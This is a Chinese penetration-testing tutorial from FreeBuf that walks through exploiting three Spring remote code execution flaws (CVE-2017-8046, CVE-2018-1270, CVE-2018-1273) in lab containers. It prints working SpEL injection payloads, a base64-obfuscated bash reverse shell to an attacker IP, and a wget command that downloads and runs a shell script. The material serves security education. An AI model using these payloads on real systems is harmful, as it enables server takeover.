freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基服务篇:服务攻防之框架Spring(下)
2022-02-18 12:09:17
所属地 上海

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

今天会讲解到学习Spring Data Rest远程命令执行命令(CVE-2017-8046)、pring Messaging远程命令执行突破(CVE-2018-1270)、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)、历史漏洞合集、本地安装问题等等操作,如果连Spring都不会安装操作提权等,怎么拿下对方服务器?

二、Spring渗透总结

接着《渗透测试之地基服务篇:服务攻防之框架Spring(上)》继续深入学习Spring!

1、Spring Data Rest远程命令执行命令(CVE-2017-8046)

Spring Data REST简介:

Spring Data是对数据访问的更高抽象。通过它,开发者进一步从数据层解放出来,更专注于业务逻辑。不管是关系型数据还是非关系型数据,利用相应接口,开发者可以使用非常简单的代码构建对数据的访问(当然,Spring Data还有很多特性和功能,感兴趣的可参考官方文档)。

回过头看Spring Data REST,它是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务,官方声称完成demo只需15分钟。

1)漏洞简介

(1)漏洞原理:

Pivotal官方发布通告表示Spring-data-rest服务器在处理PATCH请求时存在一个远程代码执行漏洞(CVE-2017-8046)。攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。

https://tanzu.vmware.com/security/cve-2017-8046

(2)影响版本:

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

2)漏洞启动

(1)开启CVE-2017-8046漏洞
1645165283_620f3ae318f979eec9af6.png!small?1645165285572

sudo docker-compose up -d

(2)验证是否开启
1645165287_620f3ae7a1d94a5cdecb2.png!small?1645165288183

sudo docker ps

3)漏洞复现

(1)访问靶机:
1645165291_620f3aeb826442f66836a.png!small?1645165291847

http://192.168.253.7:8080/

即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

restful风格API:

https://www.jianshu.com/p/73d2415956bd

(2)验证漏洞是否存在

访问:

http://192.168.253.7:8080/customers/1

1645165297_620f3af16fb69db28d913.png!small?1645165297772

看到一个资源,利用bp抓包,我们使用PATCH请求来修改之:

POC:

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

1645165304_620f3af8efb3d96743d00.png!small?1645165309051

成功远程执行命令!

4)漏洞POC原理+反弹shell

(1)请求方法为PATCH,Content-Type为application/json-patch+json,那么数字编码是:(十进制编码)

",".join(map(str, (map(ord,"touch /tmp/dayutest"))))

1645165311_620f3aff9fd5f99da2b40.png!small?1645165312428
1645165316_620f3b04b4c0474159e27.png!small?1645165329714
可看到成功解析!

(2)反弹shell

bash -i >& /dev/tcp/192.168.253.65/8888 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1My42NS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1My42NS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"))))

1645165322_620f3b0a3bf37317640f0.png!small?1645165329714

2、Spring Messaging远程命令执行突破(CVE-2018-1270)

STOMP(Simple Text Orientated Messaging Protocol)全称为简单文本定向消息协议,它是一种在客户端与中转服务端(消息代理Broker)之间进行异步消息传输的简单通用协议,它定义了服务端与客户端之间的格式化文本传输方式。已经在被许多消息中间件与客户端工具所支持。STOMP协议规范:

https://stomp.github.io/stomp-specification-1.0.html

1)漏洞简介

(1)漏洞原理:

Spring框架中的 spring-messaging 模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,在spring messages中,其允许客户端订阅消息,并使用selector过滤消息,selector用SpEL表达编写,并使用StandardEvaluationContext解析,攻击者可以通过构造恶意的消息来实现远程代码执行。

(2)漏洞条件

这次漏洞的触发的场景是Spring-Messaging + WebSocket + STOMP。这一句话里有三个要点:1.什么是Spring-Messaging? 2. 什么是WebSocket?3. 什么是STOMP?

1. Spring-Messaging:

Spring Messaging是Spring4.0为了集成JMS发布的一个新模块,为集成messaging API和消息协议提供支持,属于Spring Framework项目。其代码结构如下图所示:

spring-messaging模块  = base
					| converter
					| core
					| handler
					| simp
					| support
					| tcp

这个漏洞主要涉及simp部分。

这里我们需要引入消息代理和消息队列的概念。

1. WebSocket

WebSocket 协议提供了通过一个套接字实现全双工通信的功能。也能够实现 web浏览器和server间的异步通信,全双工意味着server与浏览器间可以发送和接收消息。

http://www.ruanyifeng.com/blog/2017/05/websocket.html

由于HTTP具有无状态,单向请求的特性,使得Server向Client推送消息变得非常繁琐,需要使用轮询的方式(定时一遍遍的询问服务器有没有新的消息),效率非常低,非常浪费资源。WebSocket就在这个时候应运而生。

比较通俗易懂的说,WebSocket就像聊天室模式。Client向Server发起建立WebSocket的请求,一旦建立成功,就像点开了微信的会话窗口。在这个会话中,Client可以说话,Server也可以说话。这样的模式下使Server向Client推送消息变得简单可行。

所以WebSocket是一种在一个TCP连接上能够全双工,双向通信的协议。它是一种与HTTP不同的协议,但是以HTTP作为载体的。主要使用80(ws://)和443(wss://)。

扩展:
WebSocket是如何建立一次连接的呢?

WebSocket的交互从一个带有Upgrade头的HTTP的HTTP Request开始,转换成WebSocket协议,向下面这样:

GET /spring-websocket-portfolio/portfolio HTTP/1.1
Host: localhost:8080
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: Uc9l9TMkWGbHFD2qnFHltg==
Sec-WebSocket-Protocol: v10.stomp, v11.stomp
Sec-WebSocket-Version: 13
Origin: http://localhost:8080

如果请求的端口支持WebSocket协议,返回101,表示成功建立一个WebSocket会话,向下面这样:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: 1qVdfYHU9hPOl4JYYNXF623Gzn0=
Sec-WebSocket-Protocol: v10.stomp

1. STOMP Over WebSocket
STOMP (Simple (or Streaming) Text Oriented Message Protocol ) 是一种在客户端与中转服务端之间进行异步消息传输的简单通用协议。它定义了服务端与客户端之间的格式化文本传输方式。

STOMP是一个简单的协议,这个协议可以有多种载体,可以通过HTTP,也可以通过WebSocket。在Spring-Message中使用的是STOMP Over WebSocket。
现在Client和Server已经有了一个会话。现在我们需要规定一种格式,能够让两边都理解说的是什么,这个东西就是通过STOMP来统一的。就好像在一个微信聊天里,我们规定聊天的双方都是用汉语交流,如果一个是用汉语,一个是用阿拉伯语,双方都不知道对方讲的是什么,那么这个天就聊不下去了。

STOMP && Message Queue

STOMP的每一个包简单的来说是由三个部分组成: COMMAND Header Body

结构可以简化如下:

COMMAND
header1:value1
header2:value2

Body

一共有这么几个COMMAND:

client-command      = "SEND"
                      | "SUBSCRIBE"
                      | "UNSUBSCRIBE"
                      | "BEGIN"
                      | "COMMIT"
                      | "ABORT"
                      | "ACK"
                      | "NACK"
                      | "DISCONNECT"
                      | "CONNECT"
                      | "STOMP"

server-command      = "CONNECTED"
                      | "MESSAGE"
                      | "RECEIPT"
                      | "ERROR"

Stomp协议中有两个重要的角色:STOMP客户端与任意STOMP消息代理(Broker)。如下图:
1645165339_620f3b1b1c9d7c0951471.png!small?1645165339221

STOMP是如何进行订阅的?

客户端使用SUBSCRIBE订阅命令,向Stomp服务代理订阅某一个虚拟路径上的监听。这样当其它客户端使用SEND命令发送内容到这个路径上时,这个客户端就可以收到这个消息。在使用SUBSCRIBE时,有一个重要的ACK属性。这个ACK属性说明了Stomp服务代理端发送给这个客户端的消息是否需要收到一个ACK命令,才认为这个消息处理成功了。

Message Queue:

Message Queue(消息队列)是一种应用程序对应用程序的通信方法。应用程序通通过读写出入队列的消息来通信,而无需专用连接来链接它们。消息传递指的是程序之间通过在消息中发送数据进行通信,而不是通过直接调用彼此来通信,排队指的是应用程序通过队列来通信。队列的使用除去了接受和发送应用程序同时执行的要求。

简单来说消息队列就相当于一个书架,在书架上有人放书有人拿书,但是放书的人和拿书的人互不通信。书架起到了一个中间人的作用。

通过使用消息队列,我们可以异步处理请求,从而缓解系统的压力。

Broker:消息服务器,作为server提供消息核心服务

Producer:消息生产者,业务的发起方,负责生产消息传输给broker

Consumer:消息消费者,业务的处理方,负责从broker获取消息并进行业务逻辑处理

Queue:队列,PTP模式下,特定生产者向特定queue发送消息,消费者订阅特定的queue完成指定消息的接收

Message:消息体,根据不同通信协议定义的固定格式进行编码的数据包,来封装业务数据,实现消息的传输

消息队列是一种技术手段,而消息代理是这种技术手段的一种实现方案。比较常见的消息代理有RabbitMQ,ActiveMQ等。

(3)影响版本:

Spring Framework 5.0 to 5.0.4.
Spring Framework 4.3 to 4.3.14
已不支持的旧版本仍然受影响

2)漏洞启动

(1)开启CVE-2018-1270漏洞
1645165347_620f3b23881b28ff8246b.png!small?1645165350726

sudo docker-compose up -d

(2)验证是否开启
1645165352_620f3b289ad1c3c4835a2.png!small?1645165353390

sudo docker ps

3)POC详解

spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

连接后端服务器的流程,可以理解为:

1. 用STOMP协议将数据组合成一个文本流  
2. 用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

STOMP:
http://jmesnil.net/stomp-websocket/doc/
sockjs:
https://github.com/sockjs/sockjs-client

所以我们可以使用http来复现漏洞,称之为“降维打击”。

T(java.lang.Runtime).getRuntime().exec('touch /tmp/dayu')

POC格式:
1645165359_620f3b2f82996f8decc97.png!small?1645165362327

待执行的SpEL表达式,如

T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')

某一个订阅的地址,如vulhub中为:/topic/greetings
如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。

根据你自己的需求修改POC。如果是vulhub环境,你只需修改url即可。

4)漏洞复现

(1)访问靶机:
1645165365_620f3b35bad83153dfcbd.png!small?1645165365950

http://192.168.253.7:8080/gs-guide-websocket

(2)验证漏洞是否存在

修改POC为在/tmp/目录下创建dayu12文件夹!
1645165369_620f3b39d86800639a0b1.png!small?1645165373154

1645165379_620f3b430219d9ab5b8db.png!small?1645165379515
执行成功!查看情况!

1645165383_620f3b477407858b96f5c.png!small?1645165385768
可看到成功创建dayu12!

5)POC修改反弹shell

1645165388_620f3b4c95f59413242d6.png!small?1645165389544

1645165393_620f3b5141044677167fc.png!small?1645165396028

1645165398_620f3b56caa98980b0749.png!small?1645165402261
成功获得反弹shell!

3、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

1)漏洞简介

(1)漏洞原理:

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

(2)影响版本:

Spring Data Commons 1.13至1.13.10(Ingalls SR10)
Spring Data REST 2.6至2.6.10(Ingalls SR10)
Spring Data Commons 2.0至2.0.5(Kay SR5)
Spring Data REST 3.0至3.0.5(Kay SR5)
较旧的不受支持的版本也会受到影响

2)漏洞启动

(1)开启CVE-2018-1273漏洞
1645165405_620f3b5d2a73e8696d3d4.png!small?1645165405527

sudo docker-compose up -d

1645165437_620f3b7de8da586e63056.png!small?1645165439098

(2)验证是否开启

sudo docker ps

3)漏洞复现

(1)访问靶机:
1645165414_620f3b664ec6aead48278.png!small?1645165434270

http://192.168.253.7:8080/users

(2)验证漏洞是否存在

POC:
1645165419_620f3b6b5e234a7d6fb9c.png!small?1645165434270

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/dayu555")]=&password=&repeatedPassword=

1645165425_620f3b71c013fbf70daeb.png!small?1645165434271
成功远程代码执行!!

4)上线POC

(1)下载执行sh脚本

/usr/bin/wget -qO /tmp/1 http://192.168.253.65/shell.sh

1645165432_620f3b78a09c29a1bb87b.png!small?16451654352101645165437_620f3b7dec349913b637d.png!small?1645165439099
成功上传!!

(2)执行bash
1645165442_620f3b82e60f8e43ed4de.png!small?1645165446932

/bin/bash /tmp/1

成功获得反弹shell!正常交互!

三、历史漏洞

以下是历史上Spring经典的漏洞:

CVE-2010-1622 Spring Framework class.classLoader类远程代码执行
CVE-2013-4152 Spring Framework中的XML外部实体(XXE)注入
CVE-2013-7315 Spring Framework中的XML外部实体
CVE-2014-3527 Spring Security验证绕过漏洞
CVE-2014-0097 Spring Security认证绕过
CVE-2014-3578 Spring Framework 目录遍历漏洞
CVE-2016-2173 Spring AMQP中的远程代码执行
CVE-2016-4977 SpringSecurityOauth 远程命令执行漏洞
CNVD-2016-04742 Spring Boot框架SPEL表达式注入漏洞
CVE-2016-6652 Spring Data JPA SQL盲注
CVE-2017-4971 Spring WebFlow 远程代码执行漏洞
CVE-2017-8045 Spring Amqp中的远程代码执行
CVE-2017-8046 Spring Data REST PATCH请求远程执行代码
CVE-2018-1258 Spring Security未经授权的访问
CVE-2018-1259 具有XMLBeam的Spring DataXXE
CVE-2018-1270 Spring Messaging远程代码执行漏洞
CVE-2018-1271 Spring MVC 目录穿越漏洞
CVE-2018-1273 Spring Expression Language SPEL表达式注入漏洞
CVE-2018-1260 Spring Security Oauth2 远程代码执行
CVE-2018-15758 spring-security-oauth2权限提升
CVE-2019-3799 Spring Cloud Config Server: 目录遍历
CVE-2019-3778 Spring Security OAuth 开放重定向
CNVD-2019-11630 Spring Boot Actuator命令执行漏洞
CVE-2019-11269 Spring Security OAuth 开放重定向
CVE-2020-5398 Spring Framework RFD漏洞
CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露

可以根据清单去复现研究该漏洞的原理,接近CVE才能挖出CVE!

四、本地安装问题

本地安装遇到问题可以参考以下图片进行安装Spring:
1645165450_620f3b8a493daf5ec2890.png!small?1645165452308


等待完成!10~20分钟!!

五、总结

今天学到Spring Data Rest远程命令执行命令(CVE-2017-8046)、pring Messaging远程命令执行突破(CVE-2018-1270)、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)、历史漏洞合集、本地安装问题等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!

服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)-> 服务攻防之框架Thinkphp(总)-> 服务攻防之框架Shiro(总)-> 服务攻防之框架Spring(上)-> 服务攻防之框架Spring(下)-> 服务攻防之框架FastJson(上)......

接下来在《服务攻防之框架FastJson(上)》会接触到FastJson简介、利用JNDI References进行注入、自搭建FastJson、IDEA认识断点Fastjson(Debug)、FastJson渗透总结、fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)等等渗透操作,如何提权渗透等方法,请看下篇服务攻防之框架FastJson篇上章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# Spring
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录